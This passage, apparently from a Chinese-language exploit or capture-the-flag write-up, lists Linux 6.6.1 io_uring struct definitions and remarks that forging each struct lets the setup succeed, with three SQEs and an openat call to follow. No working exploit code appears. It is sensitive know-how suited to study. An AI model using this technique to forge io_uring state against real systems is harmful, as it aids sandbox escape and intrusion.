struct io_uring {
	struct io_uring_sq sq;
	struct io_uring_cq cq;
	unsigned flags;
	int ring_fd;

	unsigned features;
	int enter_ring_fd;
	__u8 int_flags;
	__u8 pad[3];
	unsigned pad2;
};

但 6.6.1 有所不同,setup 的 2 参结构体如下

struct io_uring_params {
	__u32 sq_entries;  //提交队列数量
	__u32 cq_entries;  //接受队列数量
	__u32 flags;
	__u32 sq_thread_cpu;
	__u32 sq_thread_idle;
	__u32 features;
	__u32 wq_fd;
	__u32 resv[3];
	struct io_sqring_offsets sq_off;
	struct io_cqring_offsets cq_off;
};

其中

struct io_sqring_offsets {
	__u32 head;
	__u32 tail;
	__u32 ring_mask;
	__u32 ring_entries;
	__u32 flags;
	__u32 dropped;
	__u32 array;
	__u32 resv1;
	__u64 user_addr;
};
struct io_cqring_offsets {
	__u32 head;
	__u32 tail;
	__u32 ring_mask;
	__u32 ring_entries;
	__u32 overflow;
	__u32 cqes;
	__u32 flags;
	__u32 resv1;
	__u64 user_addr;
};

三次设置的 sqe,结构体见上文

理论上我们就每个结构体都成功伪造并 setup 就成功了

openat

评论
NETEASE歌单
未选择曲目
0:000:00